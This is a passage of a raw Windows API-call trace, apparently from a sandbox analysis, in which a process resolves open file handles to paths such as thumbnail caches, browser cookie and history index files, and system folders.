lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0062.837] CloseHandle (hObject=0x120) returned 1 [0062.837] GetFileType (hFile=0x128) returned 0x1 [0062.837] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0062.839] CloseHandle (hObject=0x128) returned 1 [0062.839] GetFileType (hFile=0x120) returned 0x1 [0062.839] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0062.841] CloseHandle (hObject=0x120) returned 1 [0062.841] GetFileType (hFile=0x128) returned 0x1 [0062.841] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0062.843] CloseHandle (hObject=0x128) returned 1 [0062.844] GetFileType (hFile=0x120) returned 0x1 [0062.844] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0062.846] CloseHandle (hObject=0x120) returned 1 [0062.846] GetFileType (hFile=0x128) returned 0x1 [0062.846] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0062.848] CloseHandle (hObject=0x128) returned 1 [0062.848] GetFileType (hFile=0x120) returned 0x1 [0062.849] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0062.898] CloseHandle (hObject=0x120) returned 1 [0062.899] GetFileType (hFile=0x128) returned 0x1 [0062.899] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\wdmaud.drv.mui") returned 0x2c [0062.901] CloseHandle (hObject=0x128) returned 1 [0062.901] GetFileType (hFile=0x120) returned 0x1 [0062.901] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\MMDevAPI.dll.mui") returned 0x2e [0062.903] CloseHandle (hObject=0x120) returned 1 [0062.903] GetFileType (hFile=0x128) returned 0x1 [0062.903] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\bthprops.cpl.mui") returned 0x2e [0062.904] CloseHandle (hObject=0x128) returned 1 [0062.905] GetFileType (hFile=0x120) returned 0x1 [0062.905] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.906] CloseHandle (hObject=0x120) returned 1 [0062.906] GetFileType (hFile=0x128) returned 0x1 [0062.906] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.908] CloseHandle (hObject=0x128) returned 1 [0062.908] GetFileType (hFile=0x120) returned 0x1 [0062.908] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0062.909] CloseHandle (hObject=0x120) returned 1 [0062.910] GetFileType (hFile=0x128) returned 0x1 [0062.910] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msctf.dll.mui") returned 0x2b [0062.911] CloseHandle (hObject=0x128) returned 1 [0062.911] GetFileType (hFile=0x120) returned 0x1 [0062.912] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0062.914] CloseHandle (hObject=0x120) returned 1 [0062.914] GetFileType (hFile=0x128) returned 0x1 [0062.914] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0062.916] CloseHandle (hObject=0x128) returned 1 [0062.916] GetFileType (hFile=0x120) returned 0x1 [0062.917] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.918] CloseHandle (hObject=0x120) returned 1 [0062.918] GetFileType (hFile=0x128) returned 0x1 [0062.918] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0062.920] CloseHandle (hObject=0x128) returned 1 [0062.920] GetFileType (hFile=0x120) returned 0x1 [0062.920] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0062.922] CloseHandle (hObject=0x120) returned 1 [0062.922] GetFileType (hFile=0x128) returned 0x1 [0062.922] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0062.924] CloseHandle (hObject=0x128) returned 1 [0062.924] GetFileType (hFile=0x120) returned 0x1 [0062.925] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0062.926] CloseHandle (hObject=0x120) returned 1 [0062.927] GetFileType (hFile=0x128) returned 0x1 [0062.927] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0062.929] CloseHandle (hObject=0x128) returned 1 [0062.929] GetFileType (hFile=0x120) returned 0x1 [0062.930] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0062.931] CloseHandle (hObject=0x120) returned 1 [0062.932] GetFileType (hFile=0x128) returned 0x1 [0062.932] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0062.934] CloseHandle (hObject=0x128) returned 1 [0062.934] GetFileType (hFile=0x120) returned 0x1 [0062.934] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0062.936] CloseHandle (hObject=0x120) returned 1 [0062.936] GetFileType (hFile=0x128) returned 0x1 [0062.936] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0062.938] CloseHandle (hObject=0x128) returned 1 [0062.938] GetFileType (hFile=0x120) returned 0x0 [0062.938] CloseHandle (hObject=0x120) returned 1 [0062.939] GetFileType (hFile=0x128) returned 0x1 [0062.939] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.940] CloseHandle (hObject=0x128) returned 1 [0062.940] GetFileType (hFile=0x120) returned 0x1 [0062.940] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0062.942] CloseHandle (hObject=0x120) returned 1 [0062.943] GetFileType (hFile=0x128) returned 0x1 [0062.943] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0062.951] CloseHandle (hObject=0x128) returned 1 [0062.951] GetFileType (hFile=0x120) returned 0x1 [0062.951] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.952] CloseHandle (hObject=0x120) returned 1 [0062.953] GetFileType (hFile=0x128) returned 0x1 [0062.953] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\netshell.dll.mui") returned 0x2e [0062.954] CloseHandle (hObject=0x128) returned 1 [0062.954] GetFileType (hFile=0x120) returned 0x1 [0062.955] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0062.957] CloseHandle (hObject=0x120) returned 1 [0062.957] GetFileType (hFile=0x128) returned 0x1 [0062.957] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0062.959] CloseHandle (hObject=0x128) returned 1 [0062.960] GetFileType (hFile=0x120) returned 0x0 [0062.960] CloseHandle (hObject=0x120) returned 1 [0062.960] GetFileType (hFile=0x128) returned 0x1 [0062.960] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0062.962] CloseHandle (hObject=0x128) returned 1 [0062.962] GetFileType (hFile=0x120) returned 0x1 [0062.962] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0062.964] CloseHandle (hObject=0x120) returned 1 [0062.964] GetFileType (hFile=0x128) returned 0x1 [0062.965] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.966] CloseHandle (hObject=0x128) returned 1 [0062.966] GetFileType (hFile=0x120) returned 0x1 [0062.966] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.967] CloseHandle (hObject=0x120) returned 1 [0062.968] GetFileType (hFile=0x128) returned 0x1 [0062.968] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.969] CloseHandle (hObject=0x128) returned 1 [0062.969] GetFileType (hFile=0x120) returned 0x1 [0062.969] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.971] CloseHandle (hObject=0x120) returned 1 [0062.971] GetFileType (hFile=0x128) returned 0x1 [0062.971] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.972] CloseHandle (hObject=0x128) returned 1 [0062.973] GetFileType (hFile=0x120) returned 0x1 [0062.973] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0062.974] CloseHandle (hObject=0x120) returned 1 [0062.974] GetFileType (hFile=0x128) returned 0x1 [0062.974] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned 0x4b [0062.977] CloseHandle (hObject=0x128) returned 1 [0062.977] GetFileType (hFile=0x120) returned 0x1 [0062.977] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.978] CloseHandle (hObject=0x120) returned 1 [0062.979] GetFileType (hFile=0x128) returned 0x1 [0062.979] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned 0x70 [0062.981] CloseHandle (hObject=0x128) returned 1 [0062.982] GetFileType (hFile=0x120) returned 0x1 [0062.982] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0062.983] CloseHandle (hObject=0x120) returned 1 [0062.983] GetFileType (hFile=0x128) returned 0x3 [0062.983] CloseHandle (hObject=0x128) returned 1 [0062.984] GetFileType (hFile=0x120) returned 0x3 [0062.984] CloseHandle (hObject=0x120) returned 1 [0062.984] GetFileType (hFile=0x128) returned 0x1 [0062.984] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0062.986] CloseHandle (hObject=0x128) returned 1 [0062.986] GetFileType (hFile=0x120) returned 0x1 [0062.987] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0062.989] CloseHandle (hObject=0x120) returned 1 [0062.989] GetFileType (hFile=0x128) returned 0x1 [0062.989] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0062.995] CloseHandle (hObject=0x128) returned 1 [0062.995] GetFileType (hFile=0x120) returned 0x1 [0062.995] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0062.997] CloseHandle (hObject=0x120) returned 1 [0062.997] GetFileType (hFile=0x128) returned 0x1 [0062.997] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0063.000] CloseHandle (hObject=0x128) returned 1 [0063.000] GetFileType (hFile=0x120) returned 0x1 [0063.000] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0063.002] CloseHandle (hObject=0x120) returned 1 [0063.002] GetFileType (hFile=0x128) returned 0x1 [0063.002] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0063.004] CloseHandle (hObject=0x128) returned 1 [0063.004] GetFileType (hFile=0x120) returned 0x1 [0063.004] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0063.007] CloseHandle (hObject=0x120) returned 1 [0063.007] GetFileType (hFile=0x128) returned 0x1 [0063.007] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0063.009] CloseHandle (hObject=0x128) returned 1 [0063.009] GetFileType (hFile=0x120) returned 0x1 [0063.009] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0063.011] CloseHandle (hObject=0x120) returned 1 [0063.011] GetFileType (hFile=0x128) returned 0x1 [0063.012] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0063.013] CloseHandle (hObject=0x128) returned 1 [0063.014] GetFileType (hFile=0x120) returned 0x3 [0063.014] CloseHandle (hObject=0x120) returned 1 [0063.014] GetFileType (hFile=0x128) returned 0x1 [0063.014] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0063.016] CloseHandle (hObject=0x128) returned 1 [0063.016] GetFileType (hFile=0x120) returned 0x1 [0063.016] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned 0x55 [0063.019] CloseHandle (hObject=0x120) returned 1 [0063.019] GetFileType (hFile=0x128) returned 0x1 [0063.019] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned 0x5f [0063.022] CloseHandle (hObject=0x128) returned 1 [0063.022] GetFileType (hFile=0x120) returned 0x1 [0063.022] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020022120200222\\index.dat") returned 0x78 [0063.025] CloseHandle (hObject=0x120) returned 1 [0063.025] GetFileType (hFile=0x128) returned 0x1 [0063.025] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0063.027] CloseHandle (hObject=0x128) returned 1 [0063.027] GetFileType (hFile=0x120) returned 0x0 [0063.027] CloseHandle (hObject=0x120) returned 1 [0063.027] GetFileType (hFile=0x128) returned 0x0 [0063.027] CloseHandle (hObject=0x128) returned 1 [0063.028] GetFileType (hFile=0x120) returned 0x1 [0063.028] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0063.029] CloseHandle (hObject=0x120) returned 1 [0063.029] GetFileType (hFile=0x128) returned 0x1 [0063.030] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0063.031] CloseHandle (hObject=0x128) returned 1 [0063.031] GetFileType (hFile=0x120) returned 0x3 [0063.031] CloseHandle (hObject=0x120) returned 1 [0063.032] GetFileType (hFile=0x128) returned 0x1 [0063.032] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0063.033] CloseHandle (hObject=0x128) returned 1 [0063.033] GetFileType (hFile=0x120) returned 0x0 [0063.033] CloseHandle (hObject=0x120) returned 1 [0063.034] GetFileType (hFile=0x128) returned 0x1 [0063.034] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.035] CloseHandle (hObject=0x128) returned 1 [0063.035] GetFileType (hFile=0x120) returned 0x1 [0063.035] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0063.036] CloseHandle (hObject=0x120) returned 1 [0063.036] GetFileType (hFile=0x128) returned 0x1 [0063.036] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.308] CloseHandle (hObject=0x128) returned 1 [0063.309] GetFileType (hFile=0x120) returned 0x1 [0063.309] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0063.310] CloseHandle (hObject=0x120) returned 1 [0063.310] GetFileType (hFile=0x128) returned 0x1 [0063.310] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.311] CloseHandle (hObject=0x128) returned 1 [0063.312] GetFileType (hFile=0x120) returned 0x1 [0063.312] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0063.312] CloseHandle (hObject=0x120) returned 1 [0063.313] GetFileType (hFile=0x128) returned 0x1 [0063.313] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.314] CloseHandle (hObject=0x128) returned 1 [0063.314] GetFileType (hFile=0x120) returned 0x1 [0063.314] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0063.315] CloseHandle (hObject=0x120) returned 1 [0063.315] GetFileType (hFile=0x128) returned 0x1 [0063.315] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.316] CloseHandle (hObject=0x128) returned 1 [0063.317] GetFileType (hFile=0x120) returned 0x1 [0063.317] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, 